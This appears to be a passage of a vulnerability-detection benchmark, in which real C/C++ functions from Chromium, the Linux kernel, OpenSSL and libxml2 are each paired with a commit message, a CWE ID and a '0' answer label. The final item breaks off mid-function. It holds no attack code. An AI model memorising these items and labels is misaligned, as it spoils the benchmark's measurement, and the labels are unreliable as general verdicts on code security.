Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void ChromeClientImpl::setToolTip(const String& tooltipText, TextDirection dir) { if (!m_webView->client()) return; WebTextDirection textDirection = (dir == RTL) ? WebTextDirectionRightToLeft : WebTextDirectionLeftToRight; m_webView->client()->setToolTipText( tooltipText, textDirection); } Commit Message: Delete apparently unused geolocation declarations and include. BUG=336263 Review URL: https://codereview.chromium.org/139743014 git-svn-id: svn://svn.chromium.org/blink/trunk@165601 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-399
0
118,660
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: bool HTMLFormElement::LayoutObjectIsNeeded(const ComputedStyle& style) { if (!was_demoted_) return HTMLElement::LayoutObjectIsNeeded(style); ContainerNode* node = parentNode(); if (!node || !node->GetLayoutObject()) return HTMLElement::LayoutObjectIsNeeded(style); LayoutObject* parent_layout_object = node->GetLayoutObject(); bool parent_is_table_element_part = (parent_layout_object->IsTable() && IsHTMLTableElement(*node)) || (parent_layout_object->IsTableRow() && IsHTMLTableRowElement(*node)) || (parent_layout_object->IsTableSection() && node->HasTagName(tbodyTag)) || (parent_layout_object->IsLayoutTableCol() && node->HasTagName(colTag)) || (parent_layout_object->IsTableCell() && IsHTMLTableRowElement(*node)); if (!parent_is_table_element_part) return true; EDisplay display = style.Display(); bool form_is_table_part = display == EDisplay::kTable || display == EDisplay::kInlineTable || display == EDisplay::kTableRowGroup || display == EDisplay::kTableHeaderGroup || display == EDisplay::kTableFooterGroup || display == EDisplay::kTableRow || display == EDisplay::kTableColumnGroup || display == EDisplay::kTableColumn || display == EDisplay::kTableCell || display == EDisplay::kTableCaption; return form_is_table_part; } Commit Message: Move user activation check to RemoteFrame::Navigate's callers. Currently RemoteFrame::Navigate is the user of Frame::HasTransientUserActivation that passes a RemoteFrame*, and it seems wrong because the user activation (user gesture) needed by the navigation should belong to the LocalFrame that initiated the navigation. Follow-up CLs after this one will update UserActivation code in Frame to take a LocalFrame* instead of a Frame*, and get rid of redundant IPCs. Bug: 811414 Change-Id: I771c1694043edb54374a44213d16715d9c7da704 Reviewed-on: https://chromium-review.googlesource.com/914736 Commit-Queue: Mustaq Ahmed <mustaq@chromium.org> Reviewed-by: Daniel Cheng <dcheng@chromium.org> Cr-Commit-Position: refs/heads/master@{#536728} CWE ID: CWE-190
0
152,229
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int ext4_blkdev_put(struct block_device *bdev) { return blkdev_put(bdev, FMODE_READ|FMODE_WRITE|FMODE_EXCL); } Commit Message: ext4: fix undefined behavior in ext4_fill_flex_info() Commit 503358ae01b70ce6909d19dd01287093f6b6271c ("ext4: avoid divide by zero when trying to mount a corrupted file system") fixes CVE-2009-4307 by performing a sanity check on s_log_groups_per_flex, since it can be set to a bogus value by an attacker. sbi->s_log_groups_per_flex = sbi->s_es->s_log_groups_per_flex; groups_per_flex = 1 << sbi->s_log_groups_per_flex; if (groups_per_flex < 2) { ... } This patch fixes two potential issues in the previous commit. 1) The sanity check might only work on architectures like PowerPC. On x86, 5 bits are used for the shifting amount. That means, given a large s_log_groups_per_flex value like 36, groups_per_flex = 1 << 36 is essentially 1 << 4 = 16, rather than 0. This will bypass the check, leaving s_log_groups_per_flex and groups_per_flex inconsistent. 2) The sanity check relies on undefined behavior, i.e., oversized shift. A standard-confirming C compiler could rewrite the check in unexpected ways. Consider the following equivalent form, assuming groups_per_flex is unsigned for simplicity. groups_per_flex = 1 << sbi->s_log_groups_per_flex; if (groups_per_flex == 0 || groups_per_flex == 1) { We compile the code snippet using Clang 3.0 and GCC 4.6. Clang will completely optimize away the check groups_per_flex == 0, leaving the patched code as vulnerable as the original. GCC keeps the check, but there is no guarantee that future versions will do the same. Signed-off-by: Xi Wang <xi.wang@gmail.com> Signed-off-by: "Theodore Ts'o" <tytso@mit.edu> Cc: stable@vger.kernel.org CWE ID: CWE-189
0
20,448
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: int ssl3_do_change_cipher_spec(SSL *s) { int i; const char *sender; int slen; if (s->state & SSL_ST_ACCEPT) i = SSL3_CHANGE_CIPHER_SERVER_READ; else i = SSL3_CHANGE_CIPHER_CLIENT_READ; if (s->s3->tmp.key_block == NULL) { if (s->session == NULL || s->session->master_key_length == 0) { /* might happen if dtls1_read_bytes() calls this */ SSLerr(SSL_F_SSL3_DO_CHANGE_CIPHER_SPEC, SSL_R_CCS_RECEIVED_EARLY); return (0); } s->session->cipher = s->s3->tmp.new_cipher; if (!s->method->ssl3_enc->setup_key_block(s)) return (0); } if (!s->method->ssl3_enc->change_cipher_state(s, i)) return (0); /* * we have to record the message digest at this point so we can get it * before we read the finished message */ if (s->state & SSL_ST_CONNECT) { sender = s->method->ssl3_enc->server_finished_label; slen = s->method->ssl3_enc->server_finished_label_len; } else { sender = s->method->ssl3_enc->client_finished_label; slen = s->method->ssl3_enc->client_finished_label_len; } i = s->method->ssl3_enc->final_finish_mac(s, sender, slen, s->s3->tmp.peer_finish_md); if (i == 0) { SSLerr(SSL_F_SSL3_DO_CHANGE_CIPHER_SPEC, ERR_R_INTERNAL_ERROR); return 0; } s->s3->tmp.peer_finish_md_len = i; return (1); } Commit Message: CWE ID: CWE-17
0
6,184
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int proc_pident_readdir(struct file *file, struct dir_context *ctx, const struct pid_entry *ents, unsigned int nents) { struct task_struct *task = get_proc_task(file_inode(file)); const struct pid_entry *p; if (!task) return -ENOENT; if (!dir_emit_dots(file, ctx)) goto out; if (ctx->pos >= nents + 2) goto out; for (p = ents + (ctx->pos - 2); p <= ents + nents - 1; p++) { if (!proc_fill_cache(file, ctx, p->name, p->len, proc_pident_instantiate, task, p)) break; ctx->pos++; } out: put_task_struct(task); return 0; } Commit Message: proc: prevent accessing /proc/<PID>/environ until it's ready If /proc/<PID>/environ gets read before the envp[] array is fully set up in create_{aout,elf,elf_fdpic,flat}_tables(), we might end up trying to read more bytes than are actually written, as env_start will already be set but env_end will still be zero, making the range calculation underflow, allowing to read beyond the end of what has been written. Fix this as it is done for /proc/<PID>/cmdline by testing env_end for zero. It is, apparently, intentionally set last in create_*_tables(). This bug was found by the PaX size_overflow plugin that detected the arithmetic underflow of 'this_len = env_end - (env_start + src)' when env_end is still zero. The expected consequence is that userland trying to access /proc/<PID>/environ of a not yet fully set up process may get inconsistent data as we're in the middle of copying in the environment variables. Fixes: https://forums.grsecurity.net/viewtopic.php?f=3&t=4363 Fixes: https://bugzilla.kernel.org/show_bug.cgi?id=116461 Signed-off-by: Mathias Krause <minipli@googlemail.com> Cc: Emese Revfy <re.emese@gmail.com> Cc: Pax Team <pageexec@freemail.hu> Cc: Al Viro <viro@zeniv.linux.org.uk> Cc: Mateusz Guzik <mguzik@redhat.com> Cc: Alexey Dobriyan <adobriyan@gmail.com> Cc: Cyrill Gorcunov <gorcunov@openvz.org> Cc: Jarod Wilson <jarod@redhat.com> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> CWE ID: CWE-362
0
49,445
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: xmlParseAttValueInternal(xmlParserCtxtPtr ctxt, int *len, int *alloc, int normalize) { xmlChar limit = 0; const xmlChar *in = NULL, *start, *end, *last; xmlChar *ret = NULL; int line, col; GROW; in = (xmlChar *) CUR_PTR; line = ctxt->input->line; col = ctxt->input->col; if (*in != '"' && *in != '\'') { xmlFatalErr(ctxt, XML_ERR_ATTRIBUTE_NOT_STARTED, NULL); return (NULL); } ctxt->instate = XML_PARSER_ATTRIBUTE_VALUE; /* * try to handle in this routine the most common case where no * allocation of a new string is required and where content is * pure ASCII. */ limit = *in++; col++; end = ctxt->input->end; start = in; if (in >= end) { const xmlChar *oldbase = ctxt->input->base; GROW; if (oldbase != ctxt->input->base) { long delta = ctxt->input->base - oldbase; start = start + delta; in = in + delta; } end = ctxt->input->end; } if (normalize) { /* * Skip any leading spaces */ while ((in < end) && (*in != limit) && ((*in == 0x20) || (*in == 0x9) || (*in == 0xA) || (*in == 0xD))) { if (*in == 0xA) { line++; col = 1; } else { col++; } in++; start = in; if (in >= end) { const xmlChar *oldbase = ctxt->input->base; GROW; if (ctxt->instate == XML_PARSER_EOF) return(NULL); if (oldbase != ctxt->input->base) { long delta = ctxt->input->base - oldbase; start = start + delta; in = in + delta; } end = ctxt->input->end; if (((in - start) > XML_MAX_TEXT_LENGTH) && ((ctxt->options & XML_PARSE_HUGE) == 0)) { xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED, "AttValue length too long\n"); return(NULL); } } } while ((in < end) && (*in != limit) && (*in >= 0x20) && (*in <= 0x7f) && (*in != '&') && (*in != '<')) { col++; if ((*in++ == 0x20) && (*in == 0x20)) break; if (in >= end) { const xmlChar *oldbase = ctxt->input->base; GROW; if (ctxt->instate == XML_PARSER_EOF) return(NULL); if (oldbase != ctxt->input->base) { long delta = ctxt->input->base - oldbase; start = start + delta; in = in + delta; } end = ctxt->input->end; if (((in - start) > XML_MAX_TEXT_LENGTH) && ((ctxt->options & XML_PARSE_HUGE) == 0)) { xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED, "AttValue length too long\n"); return(NULL); } } } last = in; /* * skip the trailing blanks */ while ((last[-1] == 0x20) && (last > start)) last--; while ((in < end) && (*in != limit) && ((*in == 0x20) || (*in == 0x9) || (*in == 0xA) || (*in == 0xD))) { if (*in == 0xA) { line++, col = 1; } else { col++; } in++; if (in >= end) { const xmlChar *oldbase = ctxt->input->base; GROW; if (ctxt->instate == XML_PARSER_EOF) return(NULL); if (oldbase != ctxt->input->base) { long delta = ctxt->input->base - oldbase; start = start + delta; in = in + delta; last = last + delta; } end = ctxt->input->end; if (((in - start) > XML_MAX_TEXT_LENGTH) && ((ctxt->options & XML_PARSE_HUGE) == 0)) { xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED, "AttValue length too long\n"); return(NULL); } } } if (((in - start) > XML_MAX_TEXT_LENGTH) && ((ctxt->options & XML_PARSE_HUGE) == 0)) { xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED, "AttValue length too long\n"); return(NULL); } if (*in != limit) goto need_complex; } else { while ((in < end) && (*in != limit) && (*in >= 0x20) && (*in <= 0x7f) && (*in != '&') && (*in != '<')) { in++; col++; if (in >= end) { const xmlChar *oldbase = ctxt->input->base; GROW; if (ctxt->instate == XML_PARSER_EOF) return(NULL); if (oldbase != ctxt->input->base) { long delta = ctxt->input->base - oldbase; start = start + delta; in = in + delta; } end = ctxt->input->end; if (((in - start) > XML_MAX_TEXT_LENGTH) && ((ctxt->options & XML_PARSE_HUGE) == 0)) { xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED, "AttValue length too long\n"); return(NULL); } } } last = in; if (((in - start) > XML_MAX_TEXT_LENGTH) && ((ctxt->options & XML_PARSE_HUGE) == 0)) { xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED, "AttValue length too long\n"); return(NULL); } if (*in != limit) goto need_complex; } in++; col++; if (len != NULL) { *len = last - start; ret = (xmlChar *) start; } else { if (alloc) *alloc = 1; ret = xmlStrndup(start, last - start); } CUR_PTR = in; ctxt->input->line = line; ctxt->input->col = col; if (alloc) *alloc = 0; return ret; need_complex: if (alloc) *alloc = 1; return xmlParseAttValueComplex(ctxt, len, normalize); } Commit Message: DO NOT MERGE: Add validation for eternal enities https://bugzilla.gnome.org/show_bug.cgi?id=780691 Bug: 36556310 Change-Id: I9450743e167c3c73af5e4071f3fc85e81d061648 (cherry picked from commit bef9af3d89d241bcb518c20cba6da2a2fd9ba049) CWE ID: CWE-611
0
163,430
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: IW_IMPL(void) iw_set_output_density(struct iw_context *ctx, double x, double y, int code) { ctx->img2.density_code = code; ctx->img2.density_x = x; ctx->img2.density_y = y; } Commit Message: Double-check that the input image's density is valid Fixes a bug that could result in division by zero, at least for a JPEG source image. Fixes issues #19, #20 CWE ID: CWE-369
0
65,005
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: xmlParseTryOrFinish(xmlParserCtxtPtr ctxt, int terminate) { int ret = 0; int avail, tlen; xmlChar cur, next; const xmlChar *lastlt, *lastgt; if (ctxt->input == NULL) return(0); #ifdef DEBUG_PUSH switch (ctxt->instate) { case XML_PARSER_EOF: xmlGenericError(xmlGenericErrorContext, "PP: try EOF\n"); break; case XML_PARSER_START: xmlGenericError(xmlGenericErrorContext, "PP: try START\n"); break; case XML_PARSER_MISC: xmlGenericError(xmlGenericErrorContext, "PP: try MISC\n");break; case XML_PARSER_COMMENT: xmlGenericError(xmlGenericErrorContext, "PP: try COMMENT\n");break; case XML_PARSER_PROLOG: xmlGenericError(xmlGenericErrorContext, "PP: try PROLOG\n");break; case XML_PARSER_START_TAG: xmlGenericError(xmlGenericErrorContext, "PP: try START_TAG\n");break; case XML_PARSER_CONTENT: xmlGenericError(xmlGenericErrorContext, "PP: try CONTENT\n");break; case XML_PARSER_CDATA_SECTION: xmlGenericError(xmlGenericErrorContext, "PP: try CDATA_SECTION\n");break; case XML_PARSER_END_TAG: xmlGenericError(xmlGenericErrorContext, "PP: try END_TAG\n");break; case XML_PARSER_ENTITY_DECL: xmlGenericError(xmlGenericErrorContext, "PP: try ENTITY_DECL\n");break; case XML_PARSER_ENTITY_VALUE: xmlGenericError(xmlGenericErrorContext, "PP: try ENTITY_VALUE\n");break; case XML_PARSER_ATTRIBUTE_VALUE: xmlGenericError(xmlGenericErrorContext, "PP: try ATTRIBUTE_VALUE\n");break; case XML_PARSER_DTD: xmlGenericError(xmlGenericErrorContext, "PP: try DTD\n");break; case XML_PARSER_EPILOG: xmlGenericError(xmlGenericErrorContext, "PP: try EPILOG\n");break; case XML_PARSER_PI: xmlGenericError(xmlGenericErrorContext, "PP: try PI\n");break; case XML_PARSER_IGNORE: xmlGenericError(xmlGenericErrorContext, "PP: try IGNORE\n");break; } #endif if ((ctxt->input != NULL) && (ctxt->input->cur - ctxt->input->base > 4096)) { xmlSHRINK(ctxt); ctxt->checkIndex = 0; } xmlParseGetLasts(ctxt, &lastlt, &lastgt); while (1) { if ((ctxt->errNo != XML_ERR_OK) && (ctxt->disableSAX == 1)) return(0); /* * Pop-up of finished entities. */ while ((RAW == 0) && (ctxt->inputNr > 1)) xmlPopInput(ctxt); if (ctxt->input == NULL) break; if (ctxt->input->buf == NULL) avail = ctxt->input->length - (ctxt->input->cur - ctxt->input->base); else { /* * If we are operating on converted input, try to flush * remainng chars to avoid them stalling in the non-converted * buffer. */ if ((ctxt->input->buf->raw != NULL) && (ctxt->input->buf->raw->use > 0)) { int base = ctxt->input->base - ctxt->input->buf->buffer->content; int current = ctxt->input->cur - ctxt->input->base; xmlParserInputBufferPush(ctxt->input->buf, 0, ""); ctxt->input->base = ctxt->input->buf->buffer->content + base; ctxt->input->cur = ctxt->input->base + current; ctxt->input->end = &ctxt->input->buf->buffer->content[ ctxt->input->buf->buffer->use]; } avail = ctxt->input->buf->buffer->use - (ctxt->input->cur - ctxt->input->base); } if (avail < 1) goto done; switch (ctxt->instate) { case XML_PARSER_EOF: /* * Document parsing is done ! */ goto done; case XML_PARSER_START: if (ctxt->charset == XML_CHAR_ENCODING_NONE) { xmlChar start[4]; xmlCharEncoding enc; /* * Very first chars read from the document flow. */ if (avail < 4) goto done; /* * Get the 4 first bytes and decode the charset * if enc != XML_CHAR_ENCODING_NONE * plug some encoding conversion routines, * else xmlSwitchEncoding will set to (default) * UTF8. */ start[0] = RAW; start[1] = NXT(1); start[2] = NXT(2); start[3] = NXT(3); enc = xmlDetectCharEncoding(start, 4); xmlSwitchEncoding(ctxt, enc); break; } if (avail < 2) goto done; cur = ctxt->input->cur[0]; next = ctxt->input->cur[1]; if (cur == 0) { if ((ctxt->sax) && (ctxt->sax->setDocumentLocator)) ctxt->sax->setDocumentLocator(ctxt->userData, &xmlDefaultSAXLocator); xmlFatalErr(ctxt, XML_ERR_DOCUMENT_EMPTY, NULL); ctxt->instate = XML_PARSER_EOF; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering EOF\n"); #endif if ((ctxt->sax) && (ctxt->sax->endDocument != NULL)) ctxt->sax->endDocument(ctxt->userData); goto done; } if ((cur == '<') && (next == '?')) { /* PI or XML decl */ if (avail < 5) return(ret); if ((!terminate) && (xmlParseLookupSequence(ctxt, '?', '>', 0) < 0)) return(ret); if ((ctxt->sax) && (ctxt->sax->setDocumentLocator)) ctxt->sax->setDocumentLocator(ctxt->userData, &xmlDefaultSAXLocator); if ((ctxt->input->cur[2] == 'x') && (ctxt->input->cur[3] == 'm') && (ctxt->input->cur[4] == 'l') && (IS_BLANK_CH(ctxt->input->cur[5]))) { ret += 5; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: Parsing XML Decl\n"); #endif xmlParseXMLDecl(ctxt); if (ctxt->errNo == XML_ERR_UNSUPPORTED_ENCODING) { /* * The XML REC instructs us to stop parsing right * here */ ctxt->instate = XML_PARSER_EOF; return(0); } ctxt->standalone = ctxt->input->standalone; if ((ctxt->encoding == NULL) && (ctxt->input->encoding != NULL)) ctxt->encoding = xmlStrdup(ctxt->input->encoding); if ((ctxt->sax) && (ctxt->sax->startDocument) && (!ctxt->disableSAX)) ctxt->sax->startDocument(ctxt->userData); ctxt->instate = XML_PARSER_MISC; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering MISC\n"); #endif } else { ctxt->version = xmlCharStrdup(XML_DEFAULT_VERSION); if ((ctxt->sax) && (ctxt->sax->startDocument) && (!ctxt->disableSAX)) ctxt->sax->startDocument(ctxt->userData); ctxt->instate = XML_PARSER_MISC; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering MISC\n"); #endif } } else { if ((ctxt->sax) && (ctxt->sax->setDocumentLocator)) ctxt->sax->setDocumentLocator(ctxt->userData, &xmlDefaultSAXLocator); ctxt->version = xmlCharStrdup(XML_DEFAULT_VERSION); if (ctxt->version == NULL) { xmlErrMemory(ctxt, NULL); break; } if ((ctxt->sax) && (ctxt->sax->startDocument) && (!ctxt->disableSAX)) ctxt->sax->startDocument(ctxt->userData); ctxt->instate = XML_PARSER_MISC; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering MISC\n"); #endif } break; case XML_PARSER_START_TAG: { const xmlChar *name; const xmlChar *prefix = NULL; const xmlChar *URI = NULL; int nsNr = ctxt->nsNr; if ((avail < 2) && (ctxt->inputNr == 1)) goto done; cur = ctxt->input->cur[0]; if (cur != '<') { xmlFatalErr(ctxt, XML_ERR_DOCUMENT_EMPTY, NULL); ctxt->instate = XML_PARSER_EOF; if ((ctxt->sax) && (ctxt->sax->endDocument != NULL)) ctxt->sax->endDocument(ctxt->userData); goto done; } if (!terminate) { if (ctxt->progressive) { /* > can be found unescaped in attribute values */ if ((lastgt == NULL) || (ctxt->input->cur >= lastgt)) goto done; } else if (xmlParseLookupSequence(ctxt, '>', 0, 0) < 0) { goto done; } } if (ctxt->spaceNr == 0) spacePush(ctxt, -1); else if (*ctxt->space == -2) spacePush(ctxt, -1); else spacePush(ctxt, *ctxt->space); #ifdef LIBXML_SAX1_ENABLED if (ctxt->sax2) #endif /* LIBXML_SAX1_ENABLED */ name = xmlParseStartTag2(ctxt, &prefix, &URI, &tlen); #ifdef LIBXML_SAX1_ENABLED else name = xmlParseStartTag(ctxt); #endif /* LIBXML_SAX1_ENABLED */ if (ctxt->instate == XML_PARSER_EOF) goto done; if (name == NULL) { spacePop(ctxt); ctxt->instate = XML_PARSER_EOF; if ((ctxt->sax) && (ctxt->sax->endDocument != NULL)) ctxt->sax->endDocument(ctxt->userData); goto done; } #ifdef LIBXML_VALID_ENABLED /* * [ VC: Root Element Type ] * The Name in the document type declaration must match * the element type of the root element. */ if (ctxt->validate && ctxt->wellFormed && ctxt->myDoc && ctxt->node && (ctxt->node == ctxt->myDoc->children)) ctxt->valid &= xmlValidateRoot(&ctxt->vctxt, ctxt->myDoc); #endif /* LIBXML_VALID_ENABLED */ /* * Check for an Empty Element. */ if ((RAW == '/') && (NXT(1) == '>')) { SKIP(2); if (ctxt->sax2) { if ((ctxt->sax != NULL) && (ctxt->sax->endElementNs != NULL) && (!ctxt->disableSAX)) ctxt->sax->endElementNs(ctxt->userData, name, prefix, URI); if (ctxt->nsNr - nsNr > 0) nsPop(ctxt, ctxt->nsNr - nsNr); #ifdef LIBXML_SAX1_ENABLED } else { if ((ctxt->sax != NULL) && (ctxt->sax->endElement != NULL) && (!ctxt->disableSAX)) ctxt->sax->endElement(ctxt->userData, name); #endif /* LIBXML_SAX1_ENABLED */ } spacePop(ctxt); if (ctxt->nameNr == 0) { ctxt->instate = XML_PARSER_EPILOG; } else { ctxt->instate = XML_PARSER_CONTENT; } break; } if (RAW == '>') { NEXT; } else { xmlFatalErrMsgStr(ctxt, XML_ERR_GT_REQUIRED, "Couldn't find end of Start Tag %s\n", name); nodePop(ctxt); spacePop(ctxt); } if (ctxt->sax2) nameNsPush(ctxt, name, prefix, URI, ctxt->nsNr - nsNr); #ifdef LIBXML_SAX1_ENABLED else namePush(ctxt, name); #endif /* LIBXML_SAX1_ENABLED */ ctxt->instate = XML_PARSER_CONTENT; break; } case XML_PARSER_CONTENT: { const xmlChar *test; unsigned int cons; if ((avail < 2) && (ctxt->inputNr == 1)) goto done; cur = ctxt->input->cur[0]; next = ctxt->input->cur[1]; test = CUR_PTR; cons = ctxt->input->consumed; if ((cur == '<') && (next == '/')) { ctxt->instate = XML_PARSER_END_TAG; break; } else if ((cur == '<') && (next == '?')) { if ((!terminate) && (xmlParseLookupSequence(ctxt, '?', '>', 0) < 0)) goto done; xmlParsePI(ctxt); } else if ((cur == '<') && (next != '!')) { ctxt->instate = XML_PARSER_START_TAG; break; } else if ((cur == '<') && (next == '!') && (ctxt->input->cur[2] == '-') && (ctxt->input->cur[3] == '-')) { int term; if (avail < 4) goto done; ctxt->input->cur += 4; term = xmlParseLookupSequence(ctxt, '-', '-', '>'); ctxt->input->cur -= 4; if ((!terminate) && (term < 0)) goto done; xmlParseComment(ctxt); ctxt->instate = XML_PARSER_CONTENT; } else if ((cur == '<') && (ctxt->input->cur[1] == '!') && (ctxt->input->cur[2] == '[') && (ctxt->input->cur[3] == 'C') && (ctxt->input->cur[4] == 'D') && (ctxt->input->cur[5] == 'A') && (ctxt->input->cur[6] == 'T') && (ctxt->input->cur[7] == 'A') && (ctxt->input->cur[8] == '[')) { SKIP(9); ctxt->instate = XML_PARSER_CDATA_SECTION; break; } else if ((cur == '<') && (next == '!') && (avail < 9)) { goto done; } else if (cur == '&') { if ((!terminate) && (xmlParseLookupSequence(ctxt, ';', 0, 0) < 0)) goto done; xmlParseReference(ctxt); } else { /* TODO Avoid the extra copy, handle directly !!! */ /* * Goal of the following test is: * - minimize calls to the SAX 'character' callback * when they are mergeable * - handle an problem for isBlank when we only parse * a sequence of blank chars and the next one is * not available to check against '<' presence. * - tries to homogenize the differences in SAX * callbacks between the push and pull versions * of the parser. */ if ((ctxt->inputNr == 1) && (avail < XML_PARSER_BIG_BUFFER_SIZE)) { if (!terminate) { if (ctxt->progressive) { if ((lastlt == NULL) || (ctxt->input->cur > lastlt)) goto done; } else if (xmlParseLookupSequence(ctxt, '<', 0, 0) < 0) { goto done; } } } ctxt->checkIndex = 0; xmlParseCharData(ctxt, 0); } /* * Pop-up of finished entities. */ while ((RAW == 0) && (ctxt->inputNr > 1)) xmlPopInput(ctxt); if ((cons == ctxt->input->consumed) && (test == CUR_PTR)) { xmlFatalErr(ctxt, XML_ERR_INTERNAL_ERROR, "detected an error in element content\n"); ctxt->instate = XML_PARSER_EOF; break; } break; } case XML_PARSER_END_TAG: if (avail < 2) goto done; if (!terminate) { if (ctxt->progressive) { /* > can be found unescaped in attribute values */ if ((lastgt == NULL) || (ctxt->input->cur >= lastgt)) goto done; } else if (xmlParseLookupSequence(ctxt, '>', 0, 0) < 0) { goto done; } } if (ctxt->sax2) { xmlParseEndTag2(ctxt, (void *) ctxt->pushTab[ctxt->nameNr * 3 - 3], (void *) ctxt->pushTab[ctxt->nameNr * 3 - 2], 0, (int) (long) ctxt->pushTab[ctxt->nameNr * 3 - 1], 0); nameNsPop(ctxt); } #ifdef LIBXML_SAX1_ENABLED else xmlParseEndTag1(ctxt, 0); #endif /* LIBXML_SAX1_ENABLED */ if (ctxt->instate == XML_PARSER_EOF) { /* Nothing */ } else if (ctxt->nameNr == 0) { ctxt->instate = XML_PARSER_EPILOG; } else { ctxt->instate = XML_PARSER_CONTENT; } break; case XML_PARSER_CDATA_SECTION: { /* * The Push mode need to have the SAX callback for * cdataBlock merge back contiguous callbacks. */ int base; base = xmlParseLookupSequence(ctxt, ']', ']', '>'); if (base < 0) { if (avail >= XML_PARSER_BIG_BUFFER_SIZE + 2) { int tmp; tmp = xmlCheckCdataPush(ctxt->input->cur, XML_PARSER_BIG_BUFFER_SIZE); if (tmp < 0) { tmp = -tmp; ctxt->input->cur += tmp; goto encoding_error; } if ((ctxt->sax != NULL) && (!ctxt->disableSAX)) { if (ctxt->sax->cdataBlock != NULL) ctxt->sax->cdataBlock(ctxt->userData, ctxt->input->cur, tmp); else if (ctxt->sax->characters != NULL) ctxt->sax->characters(ctxt->userData, ctxt->input->cur, tmp); } SKIPL(tmp); ctxt->checkIndex = 0; } goto done; } else { int tmp; tmp = xmlCheckCdataPush(ctxt->input->cur, base); if ((tmp < 0) || (tmp != base)) { tmp = -tmp; ctxt->input->cur += tmp; goto encoding_error; } if ((ctxt->sax != NULL) && (base == 0) && (ctxt->sax->cdataBlock != NULL) && (!ctxt->disableSAX)) { /* * Special case to provide identical behaviour * between pull and push parsers on enpty CDATA * sections */ if ((ctxt->input->cur - ctxt->input->base >= 9) && (!strncmp((const char *)&ctxt->input->cur[-9], "<![CDATA[", 9))) ctxt->sax->cdataBlock(ctxt->userData, BAD_CAST "", 0); } else if ((ctxt->sax != NULL) && (base > 0) && (!ctxt->disableSAX)) { if (ctxt->sax->cdataBlock != NULL) ctxt->sax->cdataBlock(ctxt->userData, ctxt->input->cur, base); else if (ctxt->sax->characters != NULL) ctxt->sax->characters(ctxt->userData, ctxt->input->cur, base); } SKIPL(base + 3); ctxt->checkIndex = 0; ctxt->instate = XML_PARSER_CONTENT; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering CONTENT\n"); #endif } break; } case XML_PARSER_MISC: SKIP_BLANKS; if (ctxt->input->buf == NULL) avail = ctxt->input->length - (ctxt->input->cur - ctxt->input->base); else avail = ctxt->input->buf->buffer->use - (ctxt->input->cur - ctxt->input->base); if (avail < 2) goto done; cur = ctxt->input->cur[0]; next = ctxt->input->cur[1]; if ((cur == '<') && (next == '?')) { if ((!terminate) && (xmlParseLookupSequence(ctxt, '?', '>', 0) < 0)) goto done; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: Parsing PI\n"); #endif xmlParsePI(ctxt); ctxt->checkIndex = 0; } else if ((cur == '<') && (next == '!') && (ctxt->input->cur[2] == '-') && (ctxt->input->cur[3] == '-')) { if ((!terminate) && (xmlParseLookupSequence(ctxt, '-', '-', '>') < 0)) goto done; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: Parsing Comment\n"); #endif xmlParseComment(ctxt); ctxt->instate = XML_PARSER_MISC; ctxt->checkIndex = 0; } else if ((cur == '<') && (next == '!') && (ctxt->input->cur[2] == 'D') && (ctxt->input->cur[3] == 'O') && (ctxt->input->cur[4] == 'C') && (ctxt->input->cur[5] == 'T') && (ctxt->input->cur[6] == 'Y') && (ctxt->input->cur[7] == 'P') && (ctxt->input->cur[8] == 'E')) { if ((!terminate) && (xmlParseLookupSequence(ctxt, '>', 0, 0) < 0)) goto done; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: Parsing internal subset\n"); #endif ctxt->inSubset = 1; xmlParseDocTypeDecl(ctxt); if (RAW == '[') { ctxt->instate = XML_PARSER_DTD; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering DTD\n"); #endif } else { /* * Create and update the external subset. */ ctxt->inSubset = 2; if ((ctxt->sax != NULL) && (!ctxt->disableSAX) && (ctxt->sax->externalSubset != NULL)) ctxt->sax->externalSubset(ctxt->userData, ctxt->intSubName, ctxt->extSubSystem, ctxt->extSubURI); ctxt->inSubset = 0; xmlCleanSpecialAttr(ctxt); ctxt->instate = XML_PARSER_PROLOG; #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering PROLOG\n"); #endif } } else if ((cur == '<') && (next == '!') && (avail < 9)) { goto done; } else { ctxt->instate = XML_PARSER_START_TAG; ctxt->progressive = 1; xmlParseGetLasts(ctxt, &lastlt, &lastgt); #ifdef DEBUG_PUSH xmlGenericError(xmlGenericErrorContext, "PP: entering START_TAG\n"); #endif } break; case XML_PARSER_PROLOG: SKIP_BLANKS; if (ctxt->input->buf == NULL) avail 